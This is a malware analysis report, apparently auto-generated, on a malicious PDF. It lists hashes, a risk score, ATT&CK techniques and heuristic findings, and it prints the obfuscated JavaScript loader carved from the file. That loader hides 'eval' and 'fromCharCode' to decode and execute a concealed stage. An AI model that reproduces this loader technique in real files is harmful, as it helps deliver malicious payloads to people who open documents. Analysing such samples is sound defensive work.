Malicious PDF — malware analysis report

Static analysis result for SHA-256 14b7a9d0a76f091f…

MALICIOUS

PDF

44.8 KB First seen: 2013-06-21
MD5: 6635d33b11212561179b189033920e34 SHA-1: 73574a946ba06c9c369bb6da9e009cf8e91240a5 SHA-256: 14b7a9d0a76f091f66d49b950c72dec71bf0a43ea1d0dd7c510adbfa0cc53e90
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by heuristics as a loader. This script reconstructs a string, likely a URL or executable content, which is then executed. The ML classifier strongly indicates maliciousness. The primary technique observed is the use of JavaScript to download and execute a secondary payload, consistent with a malicious document delivered as an attachment.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0C5 452 bytes
SHA-256: 5f5edd12eddcb1fd93447fc52d1f8adf948410e19c6cc73ec07e762643e014d1
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
zzfpz='';
sxkr=('qwrwqr','tit');
e('bab=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
okpro=e('String.fr'+bab.substr(0,10));
amsdm = e(bab.substr(10)['replace'](/u/g,','));
e('k=amsdm.length');
for (i = 0; i < k; i+=2) {
	loco = amsdm[i+1] + ('erybjkerl',amsdm[i]);
	zzfpz += okpro(loco);
}
e(zzfpz);

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